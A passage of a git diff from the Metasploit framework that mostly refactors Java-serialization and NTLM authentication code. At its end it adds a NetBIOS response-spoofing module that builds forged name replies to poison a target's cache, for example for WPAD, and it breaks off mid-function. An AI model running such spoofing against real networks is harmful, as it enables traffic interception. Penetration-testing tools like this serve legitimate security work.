Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' - end - - raw_serial.unpack('Q>')[0] - end - - # Deserializes a class flags - # - # @param io [IO] the io to read from - # @return [Integer] if deserialization is possible - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_flags(io) - raw_flags = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' if raw_flags.nil? - - raw_flags.unpack('C')[0] - end - - # Deserializes a class fields length - # - # @param io [IO] the io to read from - # @return [Integer] if deserialization is possible - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_fields_length(io) - fields_length = io.read(2) - if fields_length.nil? || fields_length.length != 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' - end - - fields_length.unpack('n')[0] - end - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/new_enum.rb b/lib/rex/java/serialization/model/new_enum.rb deleted file mode 100644 index 89c700c7a7..0000000000 --- a/lib/rex/java/serialization/model/new_enum.rb +++ /dev/null @@ -1,79 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a NewEnum (Java Enum) representation - class NewEnum < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute enum_description - # @return [Rex::Java::Serialization::Model::ClassDescription] The description of the enum - attr_accessor :enum_description - # @!attribute constant_name - # @return [Rex::Java::Serialization::Model::Utf] The constant value in the Java Enum - attr_accessor :constant_name - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.enum_description = nil - self.constant_name = nil - end - - # Deserializes a Rex::Java::Serialization::Model::NewEnum - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.enum_description = ClassDesc.decode(io, stream) - stream.add_reference(self) unless stream.nil? - self.constant_name = decode_constant_name(io) - - self - end - - # Serializes the Rex::Java::Serialization::Model::NewEnum - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless enum_description.kind_of?(ClassDesc) && - constant_name.kind_of?(Utf) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize EnumDescription' - end - - encoded = '' - encoded << enum_description.encode - encoded << encode_content(constant_name) - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - constant_name.to_s - end - - private - - # Deserializes the NewEnum constant name - # - # @param io [IO] the io to read from - # @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succed - def decode_constant_name(io) - content = decode_content(io, stream) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf) - - content - end - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb deleted file mode 100644 index 288dfd00e4..0000000000 --- a/lib/rex/java/serialization/model/new_object.rb +++ /dev/null @@ -1,235 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a NewObject (Java Object) representation - class NewObject < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute class_desc - # @return [Rex::Java::Serialization::Model::ClassDesc] The description of the object - attr_accessor :class_desc - # @!attribute class_data - # @return [Array] The data of the object - attr_accessor :class_data - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.class_desc = nil - self.class_data = [] - end - - # Deserializes a Rex::Java::Serialization::Model::NewObject - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.class_desc = ClassDesc.decode(io, stream) - stream.add_reference(self) unless stream.nil? - - case class_desc.description - when NewClassDesc - self.class_data = decode_class_data(io, class_desc.description) - when Reference - ref = class_desc.description.handle - BASE_WIRE_HANDLE - self.class_data = decode_class_data(io, stream.references[ref]) - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::NewObject - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless class_desc.kind_of?(ClassDesc) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewObject' - end - - encoded = '' - encoded << class_desc.encode - - class_data.each do |value| - if value.kind_of?(Array) - encoded << encode_value(value) - else - encoded << encode_content(value) - end - end - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = '' - - case class_desc.description - when NewClassDesc - str << class_desc.description.class_name.to_s - when ProxyClassDesc - str << class_desc.description.interfaces.collect { |iface| iface.contents }.join(',') - when Reference - str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16) - end - - str << ' => { ' - data_str = class_data.collect { |data| data.to_s } - str << data_str.join(', ') - str << ' }' - - str - end - - private - - # Deserializes the class_data for a class_desc and its super classes - # - # @param io [IO] the io to read from - # @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted - # @return [Array] class_data values if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_class_data(io, my_class_desc) - values = [] - - unless my_class_desc.super_class.description.class == NullReference - if my_class_desc.super_class.description.class == Reference - ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE - values += decode_class_data(io, stream.references[ref]) - else - values += decode_class_data(io, my_class_desc.super_class.description) - end - end - - values += decode_class_fields(io, my_class_desc) - - values - end - - # Deserializes the fields data for a class_desc - # - # @param io [IO] the io to read from - # @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted - # @return [Array] class_data values if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_class_fields(io, my_class_desc) - values = [] - - my_class_desc.fields.each do |field| - if field.is_primitive? - values << decode_value(io, field.type) - else - content = decode_content(io, stream) - values << content - end - end - - values - end - - # Deserializes a class_data value - # - # @param io [IO] the io to read from - # @param type [String] the type of the value to deserialize - # @return [Array(String, )] type and value if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization fails - def decode_value(io, type) - value = [] - - case type - when 'byte' - value_raw = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil? - value.push('byte', value_raw.unpack('c')[0]) - when 'char' - value_raw = io.read(2) - unless value_raw && value_raw.length == 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('char', value_raw.unpack('s>')[0]) - when 'double' - value_raw = io.read(8) - unless value_raw && value_raw.length == 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('double', value = value_raw.unpack('G')[0]) - when 'float' - value_raw = io.read(4) - unless value_raw && value_raw.length == 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('float', value_raw.unpack('g')[0]) - when 'int' - value_raw = io.read(4) - unless value_raw && value_raw.length == 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('int', value_raw.unpack('l>')[0]) - when 'long' - value_raw = io.read(8) - unless value_raw && value_raw.length == 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('long', value_raw.unpack('q>')[0]) - when 'short' - value_raw = io.read(2) - unless value_raw && value_raw.length == 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value.push('short', value_raw.unpack('s>')[0]) - when 'boolean' - value_raw = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil? - value.push('boolean', value_raw.unpack('c')[0]) - else - raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray type' - end - - value - end - - # Serializes an class_data value - # - # @param value [Array] the type and value to serialize - # @return [String] the serialized value - # @raise [Rex::Java::Serialization::EncodeError] if serialization fails - def encode_value(value) - res = '' - - case value[0] - when 'byte' - res = [value[1]].pack('c') - when 'char' - res = [value[1]].pack('s>') - when 'double' - res = [value[1]].pack('G') - when 'float' - res = [value[1]].pack('g') - when 'int' - res = [value[1]].pack('l>') - when 'long' - res = [value[1]].pack('q>') - when 'short' - res = [value[1]].pack('s>') - when 'boolean' - res = [value[1]].pack('c') - else - raise Rex::Java::Serialization::EncodeError, 'Unsupported NewArray type' - end - - res - end - - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/null_reference.rb b/lib/rex/java/serialization/model/null_reference.rb deleted file mode 100644 index ac5b664697..0000000000 --- a/lib/rex/java/serialization/model/null_reference.rb +++ /dev/null @@ -1,12 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - class NullReference < Element - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/proxy_class_desc.rb b/lib/rex/java/serialization/model/proxy_class_desc.rb deleted file mode 100644 index 702790b9e3..0000000000 --- a/lib/rex/java/serialization/model/proxy_class_desc.rb +++ /dev/null @@ -1,109 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a ProxyClassDesc representation - class ProxyClassDesc < Element - - include Rex::Java::Serialization - - # @!attribute interfaces - # @return [Array] An array of interface names - attr_accessor :interfaces - # @!attribute class_annotation - # @return [Rex::Java::Serialization::Model::Annotation] The java class annotations - attr_accessor :class_annotation - # @!attribute super_class - # @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description - attr_accessor :super_class - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.interfaces = [] - self.class_annotation = nil - self.super_class = nil - end - - # Deserializes a Rex::Java::Serialization::Model::ProxyClassDesc - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - stream.add_reference(self) unless stream.nil? - - interfaces_length = decode_interfaces_length(io) - interfaces_length.times do - interface = Utf.decode(io, stream) - self.interfaces << interface - end - self.class_annotation = Annotation.decode(io, stream) - self.super_class = ClassDesc.decode(io, stream) - - self - end - - # Serializes the Rex::Java::Serialization::Model::ProxyClassDesc - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless class_annotation.class == Rex::Java::Serialization::Model::Annotation || - super_class.class == Rex::Java::Serialization::Model::ClassDesc - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ProxyClassDesc' - end - encoded = '' - encoded << [interfaces.length].pack('N') - interfaces.each do |interface| - encoded << interface.encode - end - encoded << class_annotation.encode - encoded << super_class.encode - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = '[ ' - interfaces_str = [] - interfaces.each do |interface| - interfaces_str << interface.to_s - end - str << "#{interfaces_str.join(', ')} ]" - - case super_class.description - when NewClassDesc - str << ", @super_class: #{super_class.description.class_name.to_s}" - when Reference - str << ", @super_class: #{super_class.description.to_s}" - end - - str - end - - private - - # Deserializes the number of interface names - # - # @param io [IO] the io to read from - # @return [Fixnum] if deserialization is possible - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_interfaces_length(io) - fields_length = io.read(4) - if fields_length.nil? || fields_length.length != 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ProxyClassDesc' - end - - fields_length.unpack('N')[0] - end - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/reference.rb b/lib/rex/java/serialization/model/reference.rb deleted file mode 100644 index 3e8b27ca2f..0000000000 --- a/lib/rex/java/serialization/model/reference.rb +++ /dev/null @@ -1,61 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a Java Reference representation. - class Reference < Element - - # @!attribute contents - # @return [Fixnum] The stream handle being referenced - attr_accessor :handle - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.handle = 0 - end - - # Deserializes a Rex::Java::Serialization::Model::Reference - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - handle_raw = io.read(4) - unless handle_raw && handle_raw.length == 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Reference' - end - - self.handle = handle_raw.unpack('N')[0] - - self - end - - # Serializes the Rex::Java::Serialization::Model::Reference - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - if handle < BASE_WIRE_HANDLE - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Reference' - end - - encoded = '' - encoded << [handle].pack('N') - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - "0x#{handle.to_s(16)}" - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/reset.rb b/lib/rex/java/serialization/model/reset.rb deleted file mode 100644 index 1de36756bf..0000000000 --- a/lib/rex/java/serialization/model/reset.rb +++ /dev/null @@ -1,12 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - class Reset < Element - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/stream.rb b/lib/rex/java/serialization/model/stream.rb deleted file mode 100644 index d01edd2bb2..0000000000 --- a/lib/rex/java/serialization/model/stream.rb +++ /dev/null @@ -1,123 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a Java Stream representation - class Stream < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute magic - # @return [Fixnum] The stream signature - attr_accessor :magic - # @!attribute version - # @return [Fixnum] The stream version - attr_accessor :version - # @!attribute contents - # @return [Array] The stream contents - attr_accessor :contents - # @!attribute references - # @return [Array] The stream objects to be referenced through handles - attr_accessor :references - - def initialize(stream = nil) - super(nil) - self.magic = STREAM_MAGIC - self.version = STREAM_VERSION - self.contents = [] - self.references = [] - end - - # Deserializes a Rex::Java::Serialization::Model::Stream - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.magic = decode_magic(io) - self.version = decode_version(io) - - until io.eof? - content = decode_content(io, self) - self.contents << content - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::Stream - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - encoded = '' - encoded << [magic].pack('n') - encoded << [version].pack('n') - contents.each do |content| - encoded << encode_content(content) - end - encoded - end - - # Adds an element to the references array - # - # @param ref [Rex::Java::Serialization::Model::Element] the object to save as reference dst - def add_reference(ref) - self.references.push(ref) - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = "@magic: 0x#{magic.to_s(16)}\n" - str << "@version: #{version}\n" - str << "@contents: [\n" - contents.each do |content| - str << " #{print_content(content)}\n" - end - str << "]\n" - str << "@references: [\n" - references.each do |ref| - str << " [#{(references.index(ref) + BASE_WIRE_HANDLE).to_s(16)}] #{print_content(ref)}\n" - end - str << "]\n" - end - - private - - # Deserializes the magic stream value - # - # @param io [IO] the io to read from - # @return [String] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_magic(io) - magic = io.read(2) - - unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream' - end - - STREAM_MAGIC - end - - # Deserializes the version stream - # - # @param io [IO] the io to read from - # @return [Fixnum] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_version(io) - version = io.read(2) - unless version && version.unpack('n')[0] == STREAM_VERSION - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream' - end - - STREAM_VERSION - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/utf.rb b/lib/rex/java/serialization/model/utf.rb deleted file mode 100644 index 72a58dc139..0000000000 --- a/lib/rex/java/serialization/model/utf.rb +++ /dev/null @@ -1,69 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a Utf string representation - class Utf < Element - - # @!attribute length - # @return [Integer] the length of the string - attr_accessor :length - # @!attribute contents - # @return [String] the contents of the string - attr_accessor :contents - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - # @param contents [String] the contents of the utf string - def initialize(stream = nil, contents = '') - super(stream) - self.contents = contents - self.length = contents.length - end - - # Deserializes a Rex::Java::Serialization::Model::Utf - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - raw_length = io.read(2) - if raw_length.nil? || raw_length.length != 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf' - end - self.length = raw_length.unpack('n')[0] - - if length == 0 - self.contents = '' - else - self.contents = io.read(length) - if contents.nil? || contents.length != length - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf' - end - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::Utf - # - # @return [String] - def encode - encoded = [length].pack('n') - encoded << contents - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - contents - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 3af1e4080d..81b5d83ad0 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -3,10 +3,6 @@ require 'rex/socket' require 'rex/proto/http' require 'rex/text' require 'digest' -require 'rex/proto/ntlm/crypt' -require 'rex/proto/ntlm/constants' -require 'rex/proto/ntlm/utils' -require 'rex/proto/ntlm/exceptions' require 'rex/proto/http/client_request' @@ -313,7 +309,6 @@ class Client # Send a series of requests to complete Digest Authentication # # @param opts [Hash] the options used to build an HTTP request - # # @return [Response] the last valid HTTP response we received def digest_auth(opts={}) @nonce_count = 0 @@ -457,13 +452,6 @@ class Client # # @return [Response] the last valid HTTP response we received def negotiate_auth(opts={}) - ntlm_options = { - :signing => false, - :usentlm2_session => self.config['usentlm2_session'], - :use_ntlmv2 => self.config['use_ntlmv2'], - :send_lm => self.config['send_lm'], - :send_ntlm => self.config['send_ntlm'] - } to = opts['timeout'] || 20 opts['username'] ||= '' @@ -472,28 +460,27 @@ class Client if opts['provider'] and opts['provider'].include? 'Negotiate' provider = "Negotiate " else - provider = 'NTLM ' + provider = "NTLM " end opts['method']||= 'GET' opts['headers']||= {} - ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options) workstation_name = Rex::Text.rand_text_alpha(rand(8)+6) domain_name = self.config['domain'] - b64_blob = Rex::Text::encode_base64( - ::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init( - domain_name, - workstation_name, - ntlmssp_flags - )) - - ntlm_message_1 = provider + b64_blob + ntlm_client = ::Net::NTLM::Client.new( + opts['username'], + opts['password'], + workstation: workstation_name, + domain: domain_name, + ) + type1 = ntlm_client.init_context begin # First request to get the challenge - opts['headers']['Authorization'] = ntlm_message_1 + opts['headers']['Authorization'] = provider + type1.encode64 + r = request_cgi(opts) resp = _send_recv(r, to) unless resp.kind_of? Rex::Proto::Http::Response @@ -506,47 +493,10 @@ class Client ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0] return resp unless ntlm_challenge - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2) - - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - default_name = blob_data[:default_name] || '' #netbios name - default_domain = blob_data[:default_domain] || '' #netbios domain - dns_host_name = blob_data[:dns_host_name] || '' #dns name - dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time - - spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname} - - resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses( - opts['username'], - opts['password'], - challenge_key, - domain_name, - default_name, - default_domain, - dns_host_name, - dns_domain_name, - chall_MsvAvTimestamp, - spnopt, - ntlm_options - ) - - ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth( - domain_name, - workstation_name, - opts['username'], - resp_lm, - resp_ntlm, - '', - ntlmssp_flags - ) - - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) + ntlm_message_3 = ntlm_client.init_context(ntlm_challenge) # Send the response - opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}" + opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}" r = request_cgi(opts) resp = _send_recv(r, to, true) unless resp.kind_of? Rex::Proto::Http::Response @@ -558,6 +508,7 @@ class Client return nil end end + # # Read a response from the server # @@ -713,7 +664,6 @@ protected attr_accessor :hostname, :port # :nodoc: - end end diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index f3a81c5c60..a587dd24b4 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -4,6 +4,8 @@ module Proto module SMB class Client + require 'net/ntlm' + require 'rex/text' require 'rex/struct2' require 'rex/proto/smb/constants' @@ -166,14 +168,14 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # Scan the packet receive cache for a matching response def smb_recv_cache_find_match(expected_type) - + clean = [] found = nil @smb_recv_cache.each do |cent| pkt, data, tstamp = cent - # Return matching packets and mark for removal + # Return matching packets and mark for removal if pkt['Payload']['SMB'].v['Command'] == expected_type found = [pkt,data] clean << cent @@ -623,16 +625,15 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # Authenticate and establish a session - def session_setup(*args) - + def session_setup(user='', pass='', domain='', do_recv=true) if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/) if (self.challenge_key) - return self.session_setup_no_ntlmssp(*args) + return self.session_setup_no_ntlmssp(user, pass, domain, do_recv) end if ( self.extended_security ) - return self.session_setup_with_ntlmssp(*args) + return self.session_setup_with_ntlmssp(user, pass, domain, nil, do_recv) end end @@ -831,7 +832,16 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils name = Rex::Text.rand_text_alphanumeric(16) end - blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name, ntlmssp_flags) + @ntlm_client = Net::NTLM::Client.new( + user, + pass, + workstation: name, + domain: domain, + flags: ntlmssp_flags + ) + + + blob = @ntlm_client.init_context.serialize native_data = '' native_data << self.native_os + "\x00" @@ -892,37 +902,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # Save the temporary UserID for use in the next request temp_user_id = ack['Payload']['SMB'].v['UserID'] - # Get default data - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(blob) - self.challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - self.default_name = blob_data[:default_name] || '' - #netbios domain - self.default_domain = blob_data[:default_domain] || '' - #dns name - self.dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - self.dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - - - resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, self.challenge_key, domain, - default_name, default_domain, dns_host_name, - dns_domain_name, chall_MsvAvTimestamp , - self.spnopt, ntlm_options) - enc_session_key = '' - self.sequence_counter = 0 - - if self.require_signing - self.signing_key, enc_session_key, ntlmssp_flags = NTLM_UTILS.create_session_key(ntlmssp_flags, server_ntlmssp_flags, user, pass, domain, - self.challenge_key, client_challenge, ntlm_cli_challenge, - ntlm_options) - end - - # Create the security blob data - blob = NTLM_UTILS.make_ntlmssp_secblob_auth(domain, name, user, resp_lm, resp_ntlm, enc_session_key, ntlmssp_flags) + type3 = @ntlm_client.init_context([blob].pack('m')) + type3_blob = type3.serialize + self.signing_key = @ntlm_client.session_key pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct self.smb_defaults(pkt['Payload']['SMB']) @@ -944,8 +926,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils pkt['Payload'].v['VCNum'] = 1 pkt['Payload'].v['Capabilities'] = 0x8000d05c pkt['Payload'].v['SessionKey'] = self.session_id - pkt['Payload'].v['SecurityBlobLen'] = blob.length - pkt['Payload'].v['Payload'] = blob + native_data + pkt['Payload'].v['SecurityBlobLen'] = type3_blob.length + pkt['Payload'].v['Payload'] = type3_blob + native_data # NOTE: if do_recv is set to false, we cant reach here... self.smb_send(pkt.to_s) @@ -1771,7 +1753,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # Remove the NetBIOS header resp_rpkt.slice!(0, 4) - resp_parm = resp_rpkt[poff, pcnt] + _resp_parm = resp_rpkt[poff, pcnt] resp_data = resp_rpkt[doff, dcnt] return resp_data @@ -1797,7 +1779,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # Remove the NetBIOS header resp_rpkt.slice!(0, 4) - resp_parm = resp_rpkt[poff, pcnt] + _resp_parm = resp_rpkt[poff, pcnt] resp_data = resp_rpkt[doff, dcnt] return resp_data @@ -1958,7 +1940,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils resp = find_next(last_search_id, last_offset, last_filename) # Flip bit so response params will parse correctly - search_next = 1 + search_next = 1 end files @@ -1973,7 +1955,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils 260, # Level of interest resume_key, # Resume key from previous (Last name offset) 6, # Close search if end of search - ].pack('vvvVv') + + ].pack('vvvVv') + last_filename.to_s + # Last filename returned from find_first or find_next "\x00" # Terminate the file name @@ -2006,7 +1988,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils search_path = "#{current_path}#{fname}\\" file_search(search_path, regex, depth).each {|fn| files << fn } rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - + # Ignore common errors related to permissions and non-files if %W{ STATUS_ACCESS_DENIED @@ -2030,9 +2012,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # Creates a new directory on the mounted tree def create_directory(name) - files = { } parm = [0].pack('V') + name + "\x00" resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '') + resp end # public read/write methods diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 5f55b78f33..f2499e826c 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -75,6 +75,8 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. spec.add_runtime_dependency 'network_interface' + # NTLM authentication + spec.add_runtime_dependency 'rubyntlm' # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture @@ -110,13 +112,14 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'rex-zip' # Library for parsing offline Windows Registry files spec.add_runtime_dependency 'rex-registry' + # Library for parsing Java serialized streams + spec.add_runtime_dependency 'rex-java' # # Protocol Libraries # spec.add_runtime_dependency 'net-ssh' - # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module unless Gem.win_platform? diff --git a/modules/auxiliary/admin/netbios/netbios_spoof.rb b/modules/auxiliary/admin/netbios/netbios_spoof.rb new file mode 100644 index 0000000000..c851cd3f54 --- /dev/null +++ b/modules/auxiliary/admin/netbios/netbios_spoof.rb @@ -0,0 +1,104 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Udp + + def initialize + super( + 'Name' => 'NetBIOS Response Brute Force Spoof (Direct)', + 'Description' => %q{ + This module continuously spams NetBIOS responses to a target for given hostname, + causing the target to cache a malicious address for this name. On high-speed local + networks, the PPSRATE value should be increased to speed up this attack. As an + example, a value of around 30,000 is almost 100% successful when spoofing a + response for a 'WPAD' lookup. Distant targets may require more time and lower + rates for a successful attack. + }, + 'Authors' => [ + 'vvalien', # Metasploit Module (post) + 'hdm', # Metasploit Module + 'tombkeeper' # Related Work + ], + 'License' => MSF_LICENSE, + ) + + register_options( + [ + Opt::RPORT(137), + OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]), + OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]), + OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]) + ], + self.class + ) + end + + def netbios_spam + payload = + "\xff\xff" + # TX ID (will brute force this) + "\x85\x00" + # Flags = response + authoratative + recursion desired + "\x00\x00" + # Questions = 0 + "\x00\x01" + # Answer RRs = 1 + "\x00\x00" + # Authority RRs = 0 + "\x00\x00" + # Additional RRs = 0 + "\x20" + + Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) + + "\x00" + + "\x00\x20" + # Type = NB + "\x00\x01" + # Class = IN + "\x00\x04\x93\xe0" + # TTL long time + "\x00\x06" + # Datalength = 6 + "\x00\x00" + # Flags B-node, unique + Rex::Socket.addr_aton(@fake_addr) + + stime = Time.now.to_f + pcnt = 0 + pps = 0 + + print_status("Spamming NetBIOS responses for 